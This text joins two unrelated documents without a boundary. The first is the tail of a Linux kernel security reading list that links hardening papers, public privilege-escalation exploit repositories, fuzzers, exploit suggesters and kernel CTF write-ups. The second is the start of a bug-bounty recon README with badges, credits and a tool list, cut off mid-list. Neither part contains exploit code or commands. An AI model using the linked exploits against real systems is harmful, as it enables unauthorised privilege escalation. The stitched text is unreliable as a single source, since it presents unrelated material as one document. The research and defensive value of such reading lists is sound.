Mechanism"](https://www.jstage.jst.go.jp/article/transinf/E103.D/7/E103.D_2019ICP0011/_pdf/-char/en) [paper] [2019: "Camouflage: Hardware-assisted CFI for the ARM Linux kernel"](https://arxiv.org/pdf/1912.04145v1.pdf) [paper] [2019: "A New Proposal for Protecting Kernel Data Memory" by Igor Stoppa at Linux Security Summit EU](https://www.youtube.com/watch?v=nPH2sQAD6RY) [video] [2019: "Control-Flow Integrity for the Linux kernel: A Security Evaluation" by Federico Manuel Bento](http://www.alunos.dcc.fc.up.pt/~up201407890/Thesis.pdf) [thesis] [2019: "Kernel Self-Protection Project" by Kees Cook](https://outflux.net/slides/2019/lss/kspp.pdf) [slides] [2019: "Touch but don’t look - Running the Kernel in Execute-only memory" by Rick Edgecombe](https://linuxplumbersconf.org/event/4/contributions/283/attachments/357/588/Touch_but_dont_look__Running_the_kernel_in_execute_only_memory-presented.pdf) [slides] [2019: "Breaking and Protecting Linux Kernel Stack" by Elena Reshetova](https://www.youtube.com/watch?v=FacpjoQbMhU) [video] [2019: "Making C Less Dangerous in the Linux Kernel" by Kees Cook](https://outflux.net/slides/2019/lca/danger.pdf) [slides] [2019: "Mitigation for the Kernel Space Mirroring Attack (内核镜像攻击的缓解措施)"](http://c0reteam.org/2019/01/02/ksma) [article] [2018: "The State of Kernel Self Protection" by Kees Cook](https://outflux.net/slides/2018/lss/kspp.pdf) [slides] [2018: "Android Kernel Control Flow Integrity Analysis (分析)"](http://c0reteam.org/2018/09/17/kcfi) [article] [2018: "Overview and Recent Developments: Kernel Self-Protection Project" by Kees Cook](https://outflux.net/slides/2018/lss-eu/kspp.pdf) [slides] [2018: "The Last Man Standing: The Only Practical, Lightweight and Hypervisor-Based Kernel Protector Struggling with the Real World Alone" by Seunghun Han at beVX](https://github.com/kkamagui/papers/blob/master/bevx-2018/presentation.pdf) [video] [2018: "Linux Kernel Runtime Guard (LKRG) under the hood" by Adam Zabrocki at CONFidence](https://www.openwall.com/presentations/CONFidence2018-LKRG-Under-The-Hood/CONFidence2018-LKRG-Under-The-Hood.pdf) [slides, [video](https://www.youtube.com/watch?v=tOiPM692DOM)] [2018: "GuardION: Practical Mitigation of DMA-based Rowhammer Attacks on ARM"](https://vvdveen.com/publications/dimva2018.pdf) [paper] [2018: "kR^X: Comprehensive Kernel Protection Against Just-In-Time Code Reuse" at BlackHat](https://www.youtube.com/watch?v=L-3eCmZ8s3A) [video] [2018: "KASR: A Reliable and Practical Approach to Attack Surface Reduction of Commodity OS Kernels"](https://arxiv.org/pdf/1802.07062.pdf) [paper] [2018: "The State of Kernel Self Protection" by Kees Cook at Linux Conf AU](https://outflux.net/slides/2018/lca/kspp.pdf) [slides] [2017: "kR^X: Comprehensive Kernel Protection against Just-In-Time Code Reuse"](https://cs.brown.edu/~vpk/papers/krx.eurosys17.pdf) [paper] [2017: "How STACKLEAK improves Linux kernel security" by Alexander Popov at Linux Piter](https://linuxpiter.com/system/attachments/files/000/001/376/original/Alexander_Popov_LinuxPiter2017.pdf) [slides] [2017: "Shadow-Box: The Practical and Omnipotent Sandbox" by Seunghun Han at HitB](http://conference.hitb.org/hitbsecconf2017ams/materials/D1T2%20-%20Seunghun%20Han%20-%20Shadow-Box%20-%20The%20Practical%20and%20Omnipotent%20Sandbox.pdf) [slides] [2017: "Towards Linux Kernel Memory Safety"](https://arxiv.org/pdf/1710.06175.pdf) [paper] [2017: "Proposal of a Method to Prevent Privilege Escalation Attacks for Linux Kernel"](https://events.linuxfoundation.org/sites/events/files/slides/nakamura_20170831_1.pdf) [slides] [2017: "Linux Kernel Self Protection Project" by Kees Cook](https://outflux.net/slides/2017/lss/kspp.pdf) [slides] [2017: "PT-Rand: Practical Mitigation of Data-only Attacks against Page Tables"](https://www.internetsociety.org/sites/default/files/ndss2017_05B-4_Davi_paper.pdf) [paper] [2017: "KASLR is Dead: Long Live KASLR"](https://gruss.cc/files/kaiser.pdf) [paper] [2017: "Honey, I shrunk the attack surface – Adventures in Android security hardening" by Nick Kralevich](https://www.youtube.com/watch?v=ITL6VHOFQj8) [video] [2017: "Fine Grained Control-Flow Integrity for The Linux Kernel" by Sandro Rigo, Michalis Polychronakis, Vasileios Kemerlis](https://www.blackhat.com/docs/asia-17/materials/asia-17-Moreira-Drop-The-Rop-Fine-Grained-Control-Flow-Integrity-For-The-Linux-Kernel.pdf) [slides] [2016: "Thwarting unknown bugs: hardening features in the mainline Linux kernel" by Mark Rutland](https://events.static.linuxfound.org/sites/events/files/slides/slides_21.pdf) [slides] [2016: "Emerging Defense in Android Kernel" by James Fang](http://keenlab.tencent.com/en/2016/06/01/Emerging-Defense-in-Android-Kernel/) [article] [2016: "Randomizing the Linux kernel heap freelists" by Thomas Garnier](https://medium.com/@mxatone/randomizing-the-linux-kernel-heap-freelists-b899bb99c767#.3csq8t23s) [article] [2015: "RAP: RIP ROP"](https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf) [slides] [2015: "Protecting Commodity Operating Systems through Strong Kernel Isolation" by Vasileios Kemerlis](http://www.cs.columbia.edu/~angelos/Papers/theses/vpk_thesis.pdf) [paper] [2014: "Kernel Self-Protection through Quantified Attack Surface Reduction" by Anil Kurmus](https://publikationsserver.tu-braunschweig.de/servlets/MCRFileNodeServlet/digibib_derivate_00036154/Diss_Kurmus_Anil.pdf) [paper] [2014: "A Tale of Two Kernels: Towards Ending Kernel Hardening Wars with Split Kernel" by Anil Kurmus and Robby Zippel](http://static.securegoose.org/papers/ccs14.pdf) [paper] [2013: "KASLR: An Exercise in Cargo Cult Security" by Brad Spengler](https://forums.grsecurity.net/viewtopic.php?f=7&t=3367) [article] [2012: "How do I mitigate against NULL pointer dereference vulnerabilities?" by RedHat](https://access.redhat.com/articles/20484) [article] [2011: "Linux kernel vulnerabilities: State-of-the-art defenses and open problems"](https://pdos.csail.mit.edu/papers/chen-kbugs.pdf) [paper] [2009: "Linux Kernel Heap Tampering Detection" by Larry Highsmith](http://phrack.org/archives/issues/66/15.txt) [article] ## Exploits [Project Zero bug reports](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=linux%20kernel&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary&cells=ids&sort=-id) https://github.com/bsauce/kernel-exploit-factory https://www.exploit-db.com/search/?action=search&description=linux+kernel https://github.com/offensive-security/exploit-database/tree/master/platforms/linux/local http://vulnfactory.org/exploits/ [2010-2011] https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/ScottyBauer/Android_Kernel_CVE_POCs https://github.com/f47h3r/hackingteam_exploits https://github.com/xairy/kernel-exploits https://github.com/milabs/kernel-exploits/blob/master/CVE-2017-1000112/poc.c (CVE-2017-1000112 exploit with LKRG bypass) https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack https://github.com/SecWiki/linux-kernel-exploits https://grsecurity.net/~spender/exploits/ https://github.com/jiayy/android_vuln_poc-exp https://github.com/marsyy/littl_tools/tree/master/bluetooth https://github.com/nongiach/CVE/tree/master/CVE-2017-5123 http://seclists.org/fulldisclosure/2010/Sep/268 https://github.com/hardenedlinux/offensive_poc https://github.com/brl/grlh https://github.com/externalist/exploit_playground https://github.com/ww9210/Linux_kernel_exploits [FUZE] https://github.com/ww9210/kepler-cfhp [KEPLER] https://github.com/yzimhao/godpock https://github.com/packetforger/localroot http://www.cs.columbia.edu/~vpk/research/ret2dir/ https://github.com/w0lfzhang/kernel_exploit https://github.com/jinb-park/linux-exploit https://github.com/bcoles/kernel-exploits https://github.com/jollheef/lpe https://github.com/tangsilian/android-vuln https://github.com/grant-h/qu1ckr00t https://github.com/kangtastic/cve-2019-2215 https://github.com/QuestEscape/exploit https://github.com/duasynt/xfrm_poc https://github.com/snorez/exploits/ https://github.com/saelo/cve-2014-0038 https://github.com/bluefrostsecurity/CVE-2020-0041/ https://github.com/chompie1337/s8_2019_2215_poc/ https://github.com/c3r34lk1ll3r/CVE-2017-5123 https://haxx.in/blasty-vs-ebpf.c https://github.com/scannells/exploits/tree/master/CVE-2020-27194 https://github.com/lntrx/CVE-2021-28663 https://haxx.in/files/dirtypipez.c https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit https://github.com/polygraphene/DirtyPipe-Android https://github.com/Bonfee/CVE-2022-25636 https://github.com/Bonfee/CVE-2022-0995 https://github.com/tr3ee/CVE-2022-23222 https://github.com/tr3ee/CVE-2021-4204 [Linux Kernel SCTP FORWARD-TSN Chunk Memory Corruption Remote Exploit](https://subreption.com/offensive-security/exploits/sctp_thermite/) [CVE-2009-0065] https://github.com/xkaneiki/CVE-2023-0386 https://www.openwall.com/lists/oss-security/2023/05/08/3 [CVE-2023-2598] https://www.openwall.com/lists/oss-security/2023/05/15/5 [CVE-2023-32233] https://github.com/Liuk3r/CVE-2023-32233 https://github.com/TurtleARM/CVE-2023-0179-PoC https://github.com/lanleft/CVE2023-1829 https://github.com/TurtleARM/CVE-2023-3338 ## Tools ### Fuzzers https://github.com/google/syzkaller https://github.com/kernelslacker/trinity http://web.eece.maine.edu/~vweaver/projects/perf_events/fuzzer/ https://github.com/nccgroup/TriforceLinuxSyscallFuzzer https://github.com/oracle/kernel-fuzzing https://github.com/rgbkrk/iknowthis https://github.com/schumilo/vUSBf https://github.com/ucsb-seclab/difuze https://github.com/compsec-snu/razzer [race-condition] https://github.com/fgsect/unicorefuzz https://github.com/SunHao-0/healer https://github.com/atrosinenko/kbdysch https://github.com/intel/kernel-fuzzer-for-xen-project https://github.com/IntelLabs/kAFL/ https://github.com/snorez/ebpf-fuzzer https://github.com/SmoothHacker/LateRegistration https://github.com/sslab-gatech/janus https://github.com/google/buzzer ### Assorted https://github.com/jonoberheide/ksymhunter https://github.com/jonoberheide/kstructhunter https://github.com/ngalongc/AutoLocalPrivilegeEscalation https://github.com/PenturaLabs/Linux_Exploit_Suggester https://github.com/jondonas/linux-exploit-suggester-2 https://github.com/mzet-/linux-exploit-suggester https://github.com/spencerdodd/kernelpop https://github.com/vnik5287/kaslr_tsx_bypass http://www.openwall.com/lkrg/ https://github.com/IAIK/meltdown https://github.com/nforest/droidimg https://github.com/a13xp0p0v/kconfig-hardened-check https://github.com/PaoloMonti42/salt https://github.com/jollheef/out-of-tree https://github.com/elfmaster/kdress https://github.com/mephi42/ida-kallsyms/ [Kernel Address Space Layout Derandomization (KASLD)](https://github.com/bcoles/kasld) https://github.com/duasynt/gdb_scripts/ https://github.com/evdenis/cvehound https://github.com/redplait/lkcd https://github.com/Kyle-Kyle/pwning-toolset/blob/main/linux-kernel/fgkaslr_gadgets.py https://github.com/vusec/kasper https://github.com/martinradev/gdb-pt-dump https://github.com/chompie1337/kernel_obj_finder https://github.com/marin-m/vmlinux-to-elf https://github.com/nccgroup/libslub ## Practice ### Workshops [2021: "Linux kernel exploit development"](https://breaking-bits.gitbook.io/breaking-bits/exploit-development/linux-kernel-exploit-development) [workshop] [2020: "pwn.college: Module: Kernel Security"](https://pwn.college/modules/kernel) [workshop] [2020: "Android Kernel Exploitation" by Ashfaq Ansari](https://github.com/cloudfuzz/android-kernel-exploitation) [workshop] ### CTF Tasks [github.com/smallkirby/kernelpwn](https://github.com/smallkirby/kernelpwn) [github.com/MaherAzzouzi/LinuxKernelExploitation](https://github.com/MaherAzzouzi/LinuxKernelExploitation) [github.com/AravGarg/kernel-hacking/ctf-challs](https://github.com/AravGarg/kernel-hacking/tree/master/ctf-challs) HackTheBox (knote): [writeup](https://pwning.tech/knote/) BFS Ekoparty 2022 (blunder): [writeup](https://klecko.github.io/posts/bfs-ekoparty-2022/) D^3CTF 2022 (d3bpf): [writeup](https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation-(ft.-D-3CTF-d3bpf).html), [writeup 2](https://github.com/chujDK/d3ctf2022-pwn-d3bpf-and-v2) zer0pts CTF 2022 (kRCE): [writeup](https://www.willsroot.io/2022/03/zer0pts-ctf-2022-krce-writeup.html) VULNCON CTF 2021 (IPS): [writeup](https://kileak.github.io/ctf/2021/vulncon-ips/), [writeup 2](https://blog.kylebot.net/2022/01/10/VULNCON-2021-IPS/) N1 CTF 2021 (baby-guess): [source](https://github.com/sajjadium/ctf-archives/tree/main/N1CTF/2021/pwn/baby_guess), [writeup](https://kileak.github.io/ctf/2021/n1ctf21-babyguess/) Balsn CTF 2021 (futex): [source](https://github.com/sajjadium/ctf-archives/tree/main/Balsn/2021/pwn/futex), [writeup](https://gist.github.com/st424204/e6395bdbed43b1bf308a4de2ba9d6ba0) TSG CTF 2021 (lkgit): [writeup](https://kileak.github.io/ctf/2021/tsg-lkgit/), [writeup 2](https://smallkirby.hatenablog.com/entry/2021/10/03/171804), [writeup 3](https://ptr-yudai.hatenablog.com/entry/2021/10/03/225325#pwn-322pts-lkgit-7-solves) Midnightsun Quals 2021 (BroHammer): [writeup](https://www.willsroot.io/2021/04/midnightsunquals-2021-brohammer-single.html) 0ctf2021 (kernote): [source, exploit, and writeup](https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote), [writeup 2](https://org.anize.rs/0CTF-2021-finals/pwn/kernote) corCTF 2021 (fire-of-salvation): [source](https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn/fire-of-salvation), [writeup](https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html) corCTF 2021 (wall-of-perdition): [source](https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn/wall-of-perdition), [writeup](https://syst3mfailure.io/wall-of-perdition) Google CTF 2021 (pwn-fullchain): [source](https://github.com/google/google-ctf/tree/master/2021/quals/pwn-fullchain), [writeup](https://ptr-yudai.hatenablog.com/entry/2021/07/26/225308) Google CTF 2021 (pwn-ebpf): [source](https://github.com/google/google-ctf/tree/master/2021/quals/pwn-ebpf), [writeup](https://mem2019.github.io/jekyll/update/2021/07/19/GCTF2021-eBPF.html) 3kCTF 2021 (echo): [source and exploit](https://github.com/MaherAzzouzi/3k21-pwn/tree/main/echo) 3kCTF 2021 (klibrary): [source](https://github.com/MaherAzzouzi/3k21-pwn/tree/main/klibrary), [writeup](https://meowmeowxw.gitlab.io/ctf/3k-2021-klibrary/) DEF CON CTF Qualifier 2021 (pza999): [source and exploit](https://github.com/o-o-overflow/dc2021q-pza999-public) DiceCTF 2021 (HashBrown): [writeup](https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html) hxp CTF 2020 (pfoten): [source](https://github.com/BrieflyX/ctf-pwns/blob/master/kernel/pfoten/pfoten-c3c4a46948257e62.tar.xz), [writeup](https://mem2019.github.io/jekyll/update/2020/12/21/hxp2020-pfoten.html) CUCTF 2020 (Hotrod): [writeup](https://syst3mfailure.io/hotrod) SpamAndFlags 2020 (Secstore): [writeup](https://pwnfirstsear.ch/2020/05/10/spamandhexctf2020-secstore.html#secstore-1) BSidesTLV CTF 2020 (Kapara): [writeup and exploit](https://jctf.team/BSidesTLV-2020/Kapara/), [video writeup](https://media.handmade-seattle.com/linux-kernel-adventures/) HITCON CTF 2020 (spark): [source and exploit #1](https://github.com/david942j/ctf-writeups/tree/master/hitcon-2020/spark), [writeup and exploit #2](https://github.com/BrieflyX/ctf-pwns/tree/master/kernel/spark), [exploit #3](https://gist.github.com/sampritipanda/9fb8f1f92aef6591246e74ed5847c910) HITCON CTF 2020 (atoms): [source and exploit](https://github.com/david942j/ctf-writeups/tree/master/hitcon-2020/atoms) N1 CTF 2020 (W2L): [writeup](https://github.com/Nu1LCTF/n1ctf-2020/blob/main/N1CTF2020%20Writeup%20By%20Nu1L.pdf) Seccon Online 2020 (Kstack): [source, exploit, and writeup](https://github.com/BrieflyX/ctf-pwns/tree/master/kernel/kstack) TokyoWesterns CTF 2020 (EEBPF): [source](https://github.com/BrieflyX/ctf-pwns/tree/master/kernel/eebpf), [writeup](https://github.com/leesh3288/CTF/blob/master/2020/TWCTF_2020/eebpf/writeup.md) r2con CTF 2020: [source](https://github.com/esanfelix/r2con2020-ctf-kernel), [exploit](https://github.com/dialluvioso/box/blob/master/r2con2020-ctf-kernel/exploit.c) ASIS CTF 2020 (Shared House): [writeup](https://ptr-yudai.hatenablog.com/entry/2020/07/06/000622#354pts-Shared-House-7-solves) DEF CON CTF Qualifier 2020 (fungez): [source](https://github.com/o-o-overflow/dc2020q-fungez-public), [exploit and writeup](https://github.com/BrieflyX/ctf-pwns/tree/master/kernel/fungez) DEF CON CTF Qualifier 2020 (keml): [source](https://github.com/o-o-overflow/dc2020q-keml-public), [exploit](https://gist.github.com/LYoungJoo/4d225668991c6812701b1fcad6e18646) zer0pts CTF 2020 (meow): [writeup](https://pr0cf5.github.io/ctf/2020/03/09/the-plight-of-tty-in-the-linux-kernel.html) De1CTF 2019 (Race): [writeup and exploit](https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/pwn/Race) r2con CTF 2019: [source, exploit, and writeup](https://github.com/esanfelix/r2con2019-ctf-kernel) HITCON CTF Quals 2019 (PoE): [source and exploit](https://github.com/david942j/ctf-writeups/tree/master/hitcon-quals-2019/PoE) Balsn CTF 2019 (KrazyNote): [exploit](https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c), [writeup](https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html) TokyoWesterns CTF 2019 (gnote): [writeup](https://rpis.ec/blog/tokyowesterns-2019-gnote/), video [part 1](https://www.youtube.com/watch?v=n7osrud3PMI), [part 2](https://www.youtube.com/watch?v=i8gZ85VC2Mw) Security Fest 2019 (brainfuck64): [writeup](https://kileak.github.io/ctf/2019/secfest-brainfuck64/) Insomni'hack teaser 2019 (1118daysober): [writeup 1](https://ctftime.org/writeup/12919), [writeup 2](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2019-01-19-Insomni-Hack-Teaser/README.md#1118daysober) hxp CTF 2018 (Green Computing): [writeup](http://s3.eurecom.fr/nops/2018-12-10-hxp-ctf-2018-green-computing.html) WCTF 2018 (cpf): [source, writeup, and exploit](https://github.com/cykorteam/cykor_belluminar_2018/tree/master/cpf) SECT CTF 2018 (Gh0st): [writeup](http://mslc.ctf.su/wp/sect-ctf-2018-gh0st/) TWCTF 2018 (ReadableKernelModule): [writeup](http://r3ka.eu/2018/09/twctf-2018-rkm-readablekernelmodule-writeup/) NCSTISC 2018 (babydriver): [writeup](http://f0r1st.me/2018/03/28/ROP-in-Linux-Kernel/), [source and exploit](https://github.com/w0lfzhang/kernel_exploit/tree/master/2017-ncstisc-babydriver) Sharif CTF 2018 (kdb): [writeup](https://changochen.github.io/2018-02-07-sharif8.html), [source and exploit](https://github.com/Changochen/CTF/tree/master/2018/SharifCTF/kdb) N1CTF 2018: [writeup](http://r3ka.eu/2018/03/n1ctf-2018-network-card-writeup/) Blaze2018 (blazeme): [source and exploit 1](https://github.com/vakzz/ctfs/tree/master/Blaze2018/blazeme), [soure and exploit 2](https://github.com/wangray/ctf_dump/tree/master/Blaze2018/blazeme) QWB2018 (solid_core): [writeup](http://f0r1st.me/2018/04/02/QWB2018-solid-core-Write-Up/), [exploit 1](https://github.com/w0lfzhang/kernel_exploit/tree/master/2018-qwb-core), [exploit 2](https://github.com/sixstars/ctf/tree/master/2018/qiangwangbei/core), [exploit 3](https://github.com/o0xmuhe/PwnableLog/blob/master/CTFWP/qwb2018/core/exp.c) 0ctf2018: [writeup 1](http://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/), [writeup 2](http://ddaa.tw/0ctf_pwnable_478_zer0fs.html) TCTF 2017 (cred_jar): [writeup](http://ww9210.cn/2017/06/08/tctf-2017-final-cred_jar-linux-kernel-driver-pwn-write-up/) 0ctf2017: [source and exploit 1](https://github.com/lovelydream/0ctf2017_kernel_pwn), [source and exploit 2](https://github.com/yifengyou/CTF/tree/master/2017/0ctf/pwn/knote) 0ctf2016: [writeup](http://dragonsector.pl/docs/0ctf2016_writeups.pdf), [exploit](https://gist.github.com/anonymous/83f96600c5ae851940d6) Insomni’hack finals 2015: [writeup](https://blog.scrt.ch/2015/03/24/insomnihack-finals-sh1tty-writeup/), [source and exploit](https://github.com/Insomnihack/Insomnihack-2015/tree/master/exploit/sh1tty) CSAW CTF 2015: [writeup 1](https://poppopret.org/2015/11/16/csaw-ctf-2015-kernel-exploitation-challenge/), [writeup 2](http://itszn.com/blog/?p=21), [source and exploit](https://github.com/mncoppola/StringIPC) CSAW CTF 2014: [source and exploit](https://github.com/mncoppola/suckerusu) CSAW CTF 2013: [writeup](https://poppopret.org/2013/11/20/csaw-ctf-2013-kernel-exploitation-challenge/), [source and exploit](https://github.com/mncoppola/Brad-Oberberg) PlaidCTF 2013 (Servr): [writeup](http://blog.frizn.fr/plaidctf-2013/pwn-400-servr), [source](http://blog.frizn.fr/fil3z/pctf-2013/servr.tar.bz2) CSAW CTF 2011: [writeup](https://jon.oberheide.org/blog/2011/11/27/csaw-ctf-2011-kernel-exploitation-challenge/), [source](https://jon.oberheide.org/files/SqueamishOssifrage.c) rwth2011 CTF (ps3game): [writeup](http://mslc.ctf.su/wp/rwth2011-ctf-ps3game/) CSAW CTF 2010: [writeup](https://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge/), [source](https://jon.oberheide.org/files/csaw.c), [source and exploit](https://github.com/0x3f97/pwn/tree/master/kernel/csaw-ctf-2010-kernel-exploitation-challenge) ### Other tasks [pwnable.kr tasks](http://pwnable.kr/play.php) (syscall, rootkit, softmmu, towelroot, kcrc, exynos) https://github.com/ReverseLab/kernel-pwn-challenge https://github.com/R3x/How2Kernel https://static.bluefrostsecurity.de/files/lab/bfsmatrix_offensivecon2023.tgz ### Playgrounds https://github.com/Fuzion24/AndroidKernelExploitationPlayground https://github.com/djrbliss/libplayground https://github.com/a13xp0p0v/kernel-hack-drill https://github.com/pr0cf5/kernel-exploit-practice ### Infrastructure https://github.com/mncoppola/Linux-Kernel-CTF https://github.com/crowell/old_blog/blob/source/source/_posts/2014-11-24-hosting-a-local-kernel-ctf-challenge.markdown ## Misc [2023: "Analysing Linux Kernel Commits"](https://sam4k.com/analysing-linux-kernel-commits/) [article] [2022: "Mind the Gap" by Ian Beer](https://googleprojectzero.blogspot.com/2022/11/mind-the-gap.html) [article] [2022: "Designing subsystems for FUZZ-ability" by Dmitry Vyukov](https://lpc.events/event/16/contributions/1309/attachments/988/1979/Designing%20subsystems%20for%20testability_fuzzing%20%28PDF%20version%29.pdf) [slides] [[video](https://www.youtube.com/watch?v=zmF_AswbVbQ)] [2022: "Making syzbot reports more developer-friendly" by Aleksandr Nogikh](https://lpc.events/event/16/contributions/1311/attachments/1013/1951/Making%20syzbot%20reports%20more%20developer-friendly.pdf) [slides] [[video](https://www.youtube.com/watch?v=ePldLzdAArg)] [2022: "Peeking into the BPF verifier" by Shung-Hsi Yu](https://docs.google.com/presentation/d/1abYBW7L8kAupgG9YkFPRGayZSXm9hGv_Dvp7ADBkfyg/edit?usp=sharing) [slides] [2022: "So You Wanna Pwn The Kernel?" by Samuel Page](https://sam4k.com/so-you-wanna-pwn-the-kernel/) [article] [2022: "Automated RE of Kernel Configurations" by zznop](https://zznop.com/2022/01/02/automated-re-of-kernel-build-configs/) [article] [2021: "An Investigation of the Android Kernel Patch Ecosystem" at USENIX](https://www.usenix.org/system/files/sec21-zhang-zheng.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec21_slides_zhang-zheng.pdf)] [[video](https://www.youtube.com/watch?v=sx2unUrsQhc)] [2021: "The Complicated History of a Simple Linux Kernel API"](https://www.grsecurity.net/complicated_history_simple_linux_kernel_api) [article] [2021: "On the Feasibility of Stealthily Introducing Vulnerabilities in Open-Source Software via Hypocrite Commit"](https://github.com/QiushiWu/QiushiWu.github.io/blob/main/papers/OpenSourceInsecurity.pdf) [paper] [2020: "Checklist for when you get stuck with a Kernel Exploit"](https://ptr-yudai.hatenablog.com/entry/2020/03/11/125818) [article] [2020: "Android / Linux SLUB aliasing for general- and special-purpose caches" by Vitaly Nikolenko](https://www.youtube.com/watch?v=5-eRsA0l8Pg) [video] [grsecurity CVE-Dataset](https://docs.google.com/spreadsheets/u/0/d/1JO43UfT7Vjun9ytSWNdI17xmnzZMg19Tii-rKw94Rvw/htmlview#gid=0) [spreadsheet] https://github.com/nccgroup/exploit_mitigations https://github.com/bsauce/kernel-security-learning https://github.com/hackedteam https://forums.grsecurity.net/viewforum.php?f=7 https://grsecurity.net/research.php https://github.com/jameshilliard/linux-grsec/ https://www.youtube.com/c/dayzerosec/videos https://github.com/milabs/lkrg-bypass https://github.com/V4bel/kernel-exploit-technique https://github.com/mudongliang/reproduce_kernel_bugs https://github.com/bata24/gef https://github.com/PaoloMonti42/salt https://github.com/davidmalcolm/antipatterns.ko https://kernel.dance/ https://github.com/0xricksanchez/like-dbg https://github.com/ameetsaahu/Kernel-exploitation https://github.com/cmu-pasta/linux-kernel-enriched-corpus https://github.com/niveb/NoCrypt
<h1 align="center"> 👑 What is KingOfBugBounty Project </h1> Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. 👑 ## Stats King ![OFJAAAH](https://github-readme-stats.vercel.app/api?username=KingOfBugbounty&show_icons=true&theme=dracula) [![DigitalOcean Referral Badge](https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg)](https://www.digitalocean.com/?refcode=703ff752fd6f&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge) ## Join Us [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah) <div> <a href="https://www.linkedin.com/in/atjunior/"><img src="https://img.shields.io/badge/LinkedIn-0077B5?style=for-the-badge&logo=linkedin&logoColor=white"></img></a> <a href="https://www.youtube.com/c/OFJAAAH"><img src="https://img.shields.io/badge/YouTube-FF0000?style=for-the-badge&logo=youtube&logoColor=white"></a> </div> ## BugBuntu Download - [BugBuntu](https://sourceforge.net/projects/bugbuntu/) - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) ## Special thanks - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) - [@Stokfredrik](https://twitter.com/stokfredrik) - [@Jhaddix](https://twitter.com/Jhaddix) - [@pdiscoveryio](https://twitter.com/pdiscoveryio) - [@TomNomNom](https://twitter.com/TomNomNom) - [@jeff_foley](https://twitter.com/@jeff_foley) - [@NahamSec](https://twitter.com/NahamSec) - [@j3ssiejjj](https://twitter.com/j3ssiejjj) - [@zseano](https://twitter.com/zseano) - [@pry0cc](https://twitter.com/pry0cc) - [@wellpunk](https://twitter.com/wellpunk) ## Scripts that need to be installed To run the project, you will need to install the following programs: - [Amass](https://github.com/OWASP/Amass) - [Anew](https://github.com/tomnomnom/anew) - [Anti-burl](https://github.com/tomnomnom/hacks/tree/master/anti-burl) - [Assetfinder](https://github.com/tomnomnom/assetfinder) - [Airixss](https://github.com/ferreiraklet/airixss) - [Axiom](https://github.com/pry0cc/axiom) - [Bhedak](https://github.com/R0X4R/bhedak) - [CF-check](https://github.com/dwisiswant0/cf-check) - [Chaos](https://github.com/projectdiscovery/chaos-client) - [Cariddi](https://github.com/edoardottt/cariddi) - [Dalfox](https://github.com/hahwul/dalfox) - [DNSgen](https://github.com/ProjectAnte/dnsgen) - [Filter-resolved](https://github.com/tomnomnom/hacks/tree/master/filter-resolved) - [Findomain](https://github.com/Edu4rdSHL/findomain) - [Fuff](https://github.com/ffuf/ffuf) - [Freq](https://github.com/takshal/freq) - [Gargs](https://github.com/brentp/gargs) - [Gau](https://github.com/lc/gau) - [Gf](https://github.com/tomnomnom/gf) - [Github-Search](https://github.com/gwen001/github-search) - [Gospider](https://github.com/jaeles-project/gospider) - [Gowitness](https://github.com/sensepost/gowitness) - [Goop](https://github.com/deletescape/goop) - [GetJS](https://github.com/003random/getJS) - [Hakrawler](https://github.com/hakluke/hakrawler) - [HakrevDNS](https://github.com/hakluke/hakrevdns) - [Haktldextract](https://github.com/hakluke/haktldextract) - [Haklistgen](https://github.com/hakluke/haklistgen) - [Html-tool](https://github.com/tomnomnom/hacks/tree/master/html-tool) - [Httpx](https://github.com/projectdiscovery/httpx) - [Jaeles](https://github.com/jaeles-project/jaeles) - [Jsubfinder](https://github.com/ThreatUnkown/jsubfinder) - [Kxss](https://github.com/Emoe/kxss) - [Knoxss](https://knoxss.me/) - [Katana](https://github.com/projectdiscovery/katana) - [LinkFinder](https://github.com/GerbenJavado/LinkFinder) - [log4j-scan](https://github.com/fullhunt/log4j-scan) - [Metabigor](https://github.com/j3ssie/metabigor) - [MassDNS](https://github.com/blechschmidt/massdns) - [Naabu](https://github.com/projectdiscovery/naabu) - [Notify](https://github.com/projectdiscovery/notify) - [Paramspider](https://github.com/devanshbatham/ParamSpider) - [Qsreplace](https://github.com/tomnomnom/qsreplace) - [Rush](https://github.com/shenwei356/rush) - [SecretFinder](https://github.com/m4ll0k/SecretFinder) - [Shodan](https://help.shodan.io/command-line-interface/0-installation) - [ShuffleDNS](https://github.com/projectdiscovery/shuffledns) - [SQLMap](https://github.com/sqlmapproject/sqlmap) - [Subfinder](https://github.com/projectdiscovery/subfinder) - [SubJS](https://github.com/lc/subjs) - [Unew](https://github.com/dwisiswant0/unew) - [Unfurl](https://github.com/tomnomnom/unfurl) - [Urldedupe](https://github.com/ameenmaali/urldedupe) - [WaybackURLs](https://github.com/tomnomnom/waybackurls) - 